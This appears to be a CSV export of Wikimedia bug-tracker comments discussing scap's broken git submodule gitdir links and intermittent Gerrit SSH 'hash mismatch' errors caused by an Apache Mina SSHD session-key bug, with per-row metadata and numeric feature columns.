+https://gerrit.wikimedia.org/r/130498",,,1398806849,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-itdw5f4y5avsmhjnkmu3,task_subcomment,,True,c1,3,False,,,43,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+250299,"[scap] Deployment: Repository .git is synchronised fine, but is broken for submodules because of hardcoded gitdir link",I'm working on a fix for this problem by adding a step to scap that precomputes the information needed by GitInfo.php to json files that can be synced to the apaches. This would fix the path change issue and should slightly reduce runtime cost of Special:Version and other pages that use GitInfo. It would also allow us to drop syncing of the .git directories all together if we wanted.,,,1398716142,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-itdw5f4y5avsmhjnkmu3,task_subcomment,,True,c1,3,True,,,43,,1,0,0,1,0,1,0,0,0,1,0,1,0,1,0,1,0,1,1,0,1,1,0,0,1,0,0,0,1,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,1,1,0,0,0,1,0,1,0,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0
+250297,"[scap] Deployment: Repository .git is synchronised fine, but is broken for submodules because of hardcoded gitdir link","(In reply to Bryan Davis from comment #2)
+> I can't find any reason by grepping in operations/puppet that the general
+> mw* nodes would have /a and/or /a/common created but /a/common exists as an
+> empty directory on all of them that I randomly sampled.
+
+I eventually found the puppet code that creates /a/common as an empty directory on many hosts. The misc::deployment::vars class which in included from the misc::deployment::scap_scripts class creates the directory if it doesn't exist [0].
+
+[0]: https://github.com/wikimedia/operations-puppet/blob/c5b8fa0631d3b28b6ca062e313b98e80d7325d80/manifests/misc/deployment.pp#L368-L374",,,1398200919,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-itdw5f4y5avsmhjnkmu3,task_subcomment,,True,c1,3,True,,,42,,1,0,0,0,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,1,1,1,0,0,1,1,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,1,1,1,1,0,0,1
+250291,"[scap] Deployment: Repository .git is synchronised fine, but is broken for submodules because of hardcoded gitdir link","(In reply to James Forrester from comment #6)
+> Could we just have scap re-write the .git files (or have them be relative
+> and not absolute in the first place)?
+
+Having them be relative in the first place would really be nicest. Do we have a git guru who could look into that?
+
+I had the same idea about rewriting the .git files as a scap step. It shouldn't be too hard to do. Because of the way that scap works right now we'd need to do this on each host as a post-update step similarly to the way that the l10n JSON intermediate files are recompiled into CDB files.",,,1398197371,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-itdw5f4y5avsmhjnkmu3,task_subcomment,,True,c1,3,True,,,42,,1,0,0,1,1,1,1,1,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,1,1,0,1,0,1,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,1,1,0,1,0,0,0,1,0,1,1,1,0,0,1,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,1,1,0,1,1
+250285,"[scap] Deployment: Repository .git is synchronised fine, but is broken for submodules because of hardcoded gitdir link",Could we just have scap re-write the .git files (or have them be relative and not absolute in the first place)?,,,1398195477,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-itdw5f4y5avsmhjnkmu3,task_subcomment,,True,c1,3,True,,,42,,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,1,0,0,0,0
+250278,"[scap] Deployment: Repository .git is synchronised fine, but is broken for submodules because of hardcoded gitdir link","This bug affects the beta environment now that scap is being used to deploy code there. The ideas for creating symlinks to restore the scame directory structure that is used on the deploy host (deployment-bastion.eqiad.wfmlabs) make even less sense in beta. Here's an example .git file from an extension there:
+
+    gitdir: /mnt/srv/scap-stage-dir/php-master/extensions/.git/modules/MultimediaViewer",,,1398191798,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-itdw5f4y5avsmhjnkmu3,task_subcomment,,True,c1,3,True,,,42,,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,1,0,0
+250273,"[scap] Deployment: Repository .git is synchronised fine, but is broken for submodules because of hardcoded gitdir link",*** Bug 62760 has been marked as a duplicate of this bug. ***,,,1395351525,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-itdw5f4y5avsmhjnkmu3,task_subcomment,,True,c1,3,True,,,37,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+250269,"[scap] Deployment: Repository .git is synchronised fine, but is broken for submodules because of hardcoded gitdir link",*** Bug 53070 has been marked as a duplicate of this bug. ***,,,1392411945,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-itdw5f4y5avsmhjnkmu3,task_subcomment,,True,c1,3,True,,,32,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+250264,"[scap] Deployment: Repository .git is synchronised fine, but is broken for submodules because of hardcoded gitdir link","(In reply to Krinkle from comment #0)
+> I'm not sure what the semantic meaning is of these directories (/a/ seems to
+> be an existing but unused directory on all hosts other than tin).
+
+/a/common is the rsync server source directory on tin for scap. This directory is used to prepare the files that will be pushed out by scap to the members of the /etc/dsh/group/scap-proxies group and then subsequently to the rest of the cluster.
+
+The misc::deployment::vars puppet class ensures that this directory is created on all hosts where the misc::deployment::scap_scripts puppet class is applied. The misc::deployment::scap_scripts class is applied directly to arsenic, hume, terbium, and tin in site.pp. It's also applied indirectly on the snapshot* servers by the mediawiki::sync class.
+
+I can't find any reason by grepping in operations/puppet that the general mw* nodes would have /a and/or /a/common created but /a/common exists as an empty directory on all of them that I randomly sampled. It seems like it should be possible to add some puppet config (maybe in role::applicationserver::webserver?) to ensure that the /a directory is created and then symlink /a/common to /usr/local/apache/common.",,,1392334367,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-itdw5f4y5avsmhjnkmu3,task_subcomment,,True,c1,3,True,,,32,,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,1,0,1,1,1,1,0,1,0,1,1,0,1,1,1,1,1,1,1,1,1,0,1,0,0,1,0,0,1,1,0,0,1,0,0,1,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,1,1,0,0,1
+250258,"[scap] Deployment: Repository .git is synchronised fine, but is broken for submodules because of hardcoded gitdir link","(In reply to comment #0)
+> I'm not sure what the semantic meaning is of these directories (/a/ seems to
+> be
+> an existing but unused directory on all hosts other than tin).
+
+fluorine",,,1378775517,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-itdw5f4y5avsmhjnkmu3,task_subcomment,,True,c1,3,False,,,10,,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,1
+55895,Gerrit SSH: Intermittent key_verify failed for server_host_key and 'hash mismatch',"On translatewiki.net during running repoupdate script: Randomly the script bails out with
+
+hash mismatch
+key_verify failed for server_host_key
+fatal: The remote end hung up unexpectedly
+error: Could not fetch origin
+
+This happens since migration of Gerrit to the new server two days ago.
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: normal",High,80.0,1378584660,1404805916.0,PHID-USER-3uecblbxq24ycewm2cog,False,,False,PHID-TASK-uycqr5h5vgduf55buvs4,task_description,resolved,True,c1,3,False,False,False,9,,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1
+246115,Gerrit SSH: Intermittent key_verify failed for server_host_key and 'hash mismatch',"(In reply to christian from comment #28)
+> Since this bug has been around for a while and has affected quite some
+> people, I've been asked to give a short explanation of the root issue
+> and what SSHD-330 does.
+> 
+> Gerrit uses Apache Mina's SSHD [1] as ssh server. When connecting to
+> gerrit through ssh, this ssh server uses Java's own crypto/security
+> implementations to negotiate session keys (i.e.: different for each
+> connection attempt) with the client. Java's default provider yielded
+> those session keys without leading zero bytes, and Apache Mina's SSHD
+> relied on no leading zero bytes being present.
+> 
+> But at some point Java [2] changed behaviour and is no longer
+> stripping leading zero bytes, but Apache Mina SSHD still relied on no
+> leading zero bytes being present. Hence assumptions mismatched and
+> caused the issue.
+> 
+> The Java we use at gerrit.wikimedia.org is recent enough to no longer
+> strip leading zero bytes. So when connecting to our gerrit through
+> ssh, either
+> 
+> * the negotiated session key starts with a non-zero byte, and
+>   everything works nicely. This case happens most of the time.
+> 
+> * the negotiated session key starts with a zero byte. Then gerrit's
+>   built-in Apache Mina SSHD falsely treats the key as if there were no
+>   leading zero bytes and the connection setup with the client fails.
+> 
+> SSHD-330 adds stripping of leading zero bytes from the session key to
+> Apache Mina SSHD and thereby fixes the issue we are seeing.
+> 
+> ------
+> 
+> There was recently some FUD around OpenSSL generated keys not being
+> affected. That did not work for me, and I do not see in code how this
+> would make a difference.
+> 
+> Also, there was some recent discussion around extracting the keys from
+> the keystore to proper files. I did not get a chance to try that, but
+> that could do the trick too ... indirectly.
+> Because in order to get gerrit to use keys from separate files, one
+> needs to install BouncyCastle libraries to gerrit. BouncyCastle will
+> act as provider for the needed security/crypto functionality and
+> get used instead of Java's default providers. As the BouncyCastle
+> providers (for now) also strip the leading zero bytes, that could
+> work out.
+> 
+> Regardless, having Apache Mina SSHD to strip leading zero bytes seems
+> most reliable, so we backported the Apache Mina SSHD's upstream fix to
+> the version used in our gerrit, and rebuilt gerrit using that custom
+> built Apache Mina SSHD.
+> 
+> [1] https://mina.apache.org/sshd-project/
+> [2] I know that OpenJDK versions up to
+>   OpenJDK Runtime Environment (IcedTea7 2.2.1) (Gentoo build 1.7.0_05-b21)
+> work and the default providers strip the leading zeros, while the ones from
+>   OpenJDK Runtime Environment (IcedTea 2.4.7) (7u55-2.4.7-1ubuntu1~0.12.04.2)
+> do not strip them.
+> 
+> 
+> Thanks Krinkle for the pointer to SSHD-330!
+
+And thank you for the analysis and the informative summary -- well done!",,,1404820885,,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,,,PHID-TASK-uycqr5h5vgduf55buvs4,task_subcomment,,True,c1,3,True,,,53,,1,1,0,1,1,1,1,1,0,1,1,1,1,0,1,1,1,1,1,1,1,0,1,0,1,0,0,1,1,1,1,1,1,0,1,0,0,0,1,1,0,0,1,1,0,1,0,0,0,1,1,1,1,1,0,0,0,1,1,0,1,1,0,0,1,0,0,1,1,1,1,1,1,0,0,1,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,1,1,1
+246109,Gerrit SSH: Intermittent key_verify failed for server_host_key and 'hash mismatch',<3,,,1404820538,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-uycqr5h5vgduf55buvs4,task_subcomment,,True,c1,3,True,,,53,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,1
+246101,Gerrit SSH: Intermittent key_verify failed for server_host_key and 'hash mismatch',The fix has been deployed at gerrit.wikimedia.org.,,,1404805916,,PHID-USER-pntojlcbclwhuip53bix,False,,,PHID-TASK-uycqr5h5vgduf55buvs4,task_subcomment,,True,c1,3,False,,,53,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+246093,Gerrit SSH: Intermittent key_verify failed for server_host_key and 'hash mismatch',"Change 143388 merged by Chad:
+Upgrade sshd to include the fix for hash mismatch
+
+https://gerrit.wikimedia.org/r/143388",,,1404338417,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uycqr5h5vgduf55buvs4,task_subcomment,,True,c1,3,False,,,52,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+246086,Gerrit SSH: Intermittent key_verify failed for server_host_key and 'hash mismatch',"Since this bug has been around for a while and has affected quite some
+people, I've been asked to give a short explanation of the root issue
+and what SSHD-330 does.
+
+Gerrit uses Apache Mina's SSHD [1] as ssh server. When connecting to
+gerrit through ssh, this ssh server uses Java's own crypto/security
+implementations to negotiate session keys (i.e.: different for each
+connection attempt) with the client. Java's default provider yielded
+those session keys without leading zero bytes, and Apache Mina's SSHD
+relied on no leading zero bytes being present.
+
+But at some point Java [2] changed behaviour and is no longer
+stripping leading zero bytes, but Apache Mina SSHD still relied on no
+leading zero bytes being present. Hence assumptions mismatched and
+caused the issue.
+
+The Java we use at gerrit.wikimedia.org is recent enough to no longer
+strip leading zero bytes. So when connecting to our gerrit through
+ssh, either
+
+* the negotiated session key starts with a non-zero byte, and
+  everything works nicely. This case happens most of the time.
+
+* the negotiated session key starts with a zero byte. Then gerrit's
+  built-in Apache Mina SSHD falsely treats the key as if there were no
+  leading zero bytes and the connection setup with the client fails.
+
+SSHD-330 adds stripping of leading zero bytes from the session key to
+Apache Mina SSHD and thereby fixes the issue we are seeing.
+
+------
+
+There was recently some FUD around OpenSSL generated keys not being
+affected. That did not work for me, and I do not see in code how this
+would make a difference.
+
+Also, there was some recent discussion around extracting the keys from
+the keystore to proper files. I did not get a chance to try that, but
+that could do the trick too ... indirectly.
+Because in order to get gerrit to use keys from separate files, one
+needs to install BouncyCastle libraries to gerrit. BouncyCastle will
+act as provider for the needed security/crypto functionality and
+get used instead of Java's default providers. As the BouncyCastle
+providers (for now) also strip the leading zero bytes, that could
+work out.
+
+Regardless, having Apache Mina SSHD to strip leading zero bytes seems
+most reliable, so we backported the Apache Mina SSHD's upstream fix to
+the version used in our gerrit, and rebuilt gerrit using that custom
+built Apache Mina SSHD.
+
+[1] https://mina.apache.org/sshd-project/
+[2] I know that OpenJDK versions up to
+  OpenJDK Runtime Environment (IcedTea7 2.2.1) (Gentoo build 1.7.0_05-b21)
+work and the default providers strip the leading zeros, while the ones from
+  OpenJDK Runtime Environment (IcedTea 2.4.7) (7u55-2.4.7-1ubuntu1~0.12.04.2)
+do not strip them.
+
+
+Thanks Krinkle for the pointer to SSHD-330!",,,1404309484,,PHID-USER-pntojlcbclwhuip53bix,False,,,PHID-TASK-uycqr5h5vgduf55buvs4,task_subcomment,,True,c1,3,False,,,52,,1,1,0,1,1,1,1,1,0,1,1,1,0,0,1,1,1,1,1,1,1,0,1,0,1,1,0,1,1,1,1,1,1,0,1,0,1,0,1,1,0,0,1,1,0,1,0,0,0,1,1,1,1,1,0,1,0,1,1,0,1,1,1,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,1,1,1,1,1
+246077,Gerrit SSH: Intermittent key_verify failed for server_host_key and 'hash mismatch',"I have upgraded Gerrit on my test instance integration-dev.eqiad.wmflabs . There is no more any hash mismatch triggered when running for a while:
+
+while true; do ssh -p 29418 localhost; done;",,,1404293518,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-uycqr5h5vgduf55buvs4,task_subcomment,,True,c1,3,True,,,52,,1,0,0,0,0,1,1,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0
+246068,Gerrit SSH: Intermittent key_verify failed for server_host_key and 'hash mismatch',"(In reply to Antoine ""hashar"" Musso from comment #25)
+> Christian could you possibly providee a gerrit.war  that has the patch ?
+
+Sure. For the next 2 weeks, you can fetch it from
+
+  http://quelltextlich.at/gerrit-2.8.1-4-ga1048ce.war
+
+> I
+> would like to test it out on the labs instance I am using for CI dev.
+
+Seeing the description of SSHD-330 allowed me to come up with an environment
+that allows to reproduce the bug. There, our deployed gerrit war failed for
+14 of 10000 connection attempts. The war I linked above showed 0 failures for
+10000 connection attempts.
+
+^d already said he'll discuss deploying the war with greg-g. So we'll
+hopefully see it live soon.",,,1404292325,,PHID-USER-pntojlcbclwhuip53bix,False,,,PHID-TASK-uycqr5h5vgduf55buvs4,task_subcomment,,True,c1,3,False,,,52,,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,1,1,0,1,1,1,1,1,0,0,0,1,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,1,0,1,0,1,0,1,0,1,1,1,0,0,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,1,1,1,1,1,0,0,1
+246058,Gerrit SSH: Intermittent key_verify failed for server_host_key and 'hash mismatch',Christian could you possibly providee a gerrit.war  that has the patch ? I would like to test it out on the labs instance I am using for CI dev. Thanks!,,,1404290440,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-uycqr5h5vgduf55buvs4,task_subcomment,,True,c1,3,True,,,52,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,1,0,0,1,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,0
+246050,Gerrit SSH: Intermittent key_verify failed for server_host_key and 'hash mismatch',"Change 143388 had a related patch set uploaded by QChris:
+Upgrade sshd to include the fix for hash mismatch
+
+https://gerrit.wikimedia.org/r/143388",,,1404244147,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uycqr5h5vgduf55buvs4,task_subcomment,,True,c1,3,False,,,52,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+246041,Gerrit SSH: Intermittent key_verify failed for server_host_key and 'hash mismatch',"The description of the SSHD-330 issue explains pretty much every aspect of
+the bug that we experienced.
+
+From it's sporadic nature to the ways some people could reproduce, but others
+couldn't.
+
+I'll see to preparing a new gerrit release ... hopefully we can get something
+deployed around that.",,,1404228694,,PHID-USER-pntojlcbclwhuip53bix,False,,,PHID-TASK-uycqr5h5vgduf55buvs4,task_subcomment,,True,c1,3,False,,,52,,1,1,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,1,0,0,0,0,1,0,0,1,1,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+246035,Gerrit SSH: Intermittent key_verify failed for server_host_key and 'hash mismatch',"The google group topic mentioned this issue in Apache mina-sshd (upstream from Gerrit):
+
+https://issues.apache.org/jira/browse/SSHD-330
+
+Which has been fixed in https://git-wip-us.apache.org/repos/asf?p=mina-sshd.git;a=commit;h=2aed686bdb21681a421033c6ee5997e5cd8a9a83
+
+If that is indeed the root issue, we them to make a minor release and Gerrit to upgrade to it.",,,1403876110,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-uycqr5h5vgduf55buvs4,task_subcomment,,True,c1,3,True,,,51,,0,0,0,1,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,1,0,0,0,0
+246030,Gerrit SSH: Intermittent key_verify failed for server_host_key and 'hash mismatch',"**paul.bourke** wrote:
+
+Hi, I've been able to reproduce this on a local Gerrit instance quite reliably by running the following:
+
+while true; do ssh <gerrit> -p 29418; done
+
+A workaround that does work is to use the bouncy castle SSL library.  See the following thread for more info: https://groups.google.com/forum/#!topic/repo-discuss/JE7OM6o7DMs",,,1403176280,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-uycqr5h5vgduf55buvs4,task_subcomment,,True,c1,3,False,,,50,,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,1,0,1
+246027,Gerrit SSH: Intermittent key_verify failed for server_host_key and 'hash mismatch',"Bartosz: there is no need more for more examples.  We have traces of those errors in Zuul log and it happens a couple time per day.
+
+Marcin: we could tcpdump it if only we had a way to reliably reproduce the issue :-(",,,1403175765,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-uycqr5h5vgduf55buvs4,task_subcomment,,True,c1,3,True,,,50,,0,0,0,0,0,1,1,0,0,1,1,0,0,1,1,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,1,0,0
+246024,Gerrit SSH: Intermittent key_verify failed for server_host_key and 'hash mismatch',"Two examples from just today:
+* https://gerrit.wikimedia.org/r/#/c/139807/
+* https://gerrit.wikimedia.org/r/#/c/140046/",,,1402965592,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-uycqr5h5vgduf55buvs4,task_subcomment,,True,c1,3,True,,,50,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+246021,Gerrit SSH: Intermittent key_verify failed for server_host_key and 'hash mismatch',Today again: https://gerrit.wikimedia.org/r/#/c/139047/,,,1402587645,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-uycqr5h5vgduf55buvs4,task_subcomment,,True,c1,3,True,,,49,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+246017,Gerrit SSH: Intermittent key_verify failed for server_host_key and 'hash mismatch',"Could somebody tcpdump it? It seems it me more like a broken (suddenly terminated) connection, probably occuring (mostly) early in the SSH negotiation phase.",,,1402531001,,PHID-USER-qduasitr62ffvc5eiivd,False,,,PHID-TASK-uycqr5h5vgduf55buvs4,task_subcomment,,True,c1,3,False,,,49,,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,1,1,1,1,0,0
+246012,Gerrit SSH: Intermittent key_verify failed for server_host_key and 'hash mismatch',"Subsided for a while, then started happening a bit more often for me locally. Example in Gerrit from today: https://gerrit.wikimedia.org/r/#/c/138992/1",,,1402521845,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-uycqr5h5vgduf55buvs4,task_subcomment,,True,c1,3,True,,,49,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,0,1,1,1,1,0,0
+246006,Gerrit SSH: Intermittent key_verify failed for server_host_key and 'hash mismatch',"This continues to happen, nearly daily.
+
+You could probably get a good list of affected changesets by grepping logs of #wikimedia-dev for my name and ""ignore jenkins"" :/",,,1392577169,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-uycqr5h5vgduf55buvs4,task_subcomment,,True,c1,3,True,,,32,,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,1,0,1,0,1,1,0,0,0,1,1,0,0,1,0,1,0,0,1,0,1,0,0,0
+246002,Gerrit SSH: Intermittent key_verify failed for server_host_key and 'hash mismatch',"Another example, this time with the job that sync VisualEditor in mediawiki/extensions.git.  The merge of https://gerrit.wikimedia.org/r/#/c/111608/ triggered job http://integration.wikimedia.org/ci/job/mwext-VisualEditor-sync-gerrit/61/console which shows:
+
+  ssh -i /var/lib/jenkins/.ssh/jenkins-mwext-sync_id_rsa \
+    -p 29418 jenkins-mwext-sync@gerrit.wikimedia.org \
+    'gerrit review --code-review +2 --verified +2 --submit b519550809bba725b017281fe6c33c4c2fd123c1'
+  hash mismatch
+  key_verify failed for server_host_key",,,1391696645,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-uycqr5h5vgduf55buvs4,task_subcomment,,True,c1,3,True,,,31,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,1,1,0,0,0,0,0,1
+245998,Gerrit SSH: Intermittent key_verify failed for server_host_key and 'hash mismatch',"(In reply to comment #12)
+> Is this related: https://gerrit.wikimedia.org/r/#/c/107036/ ?
+
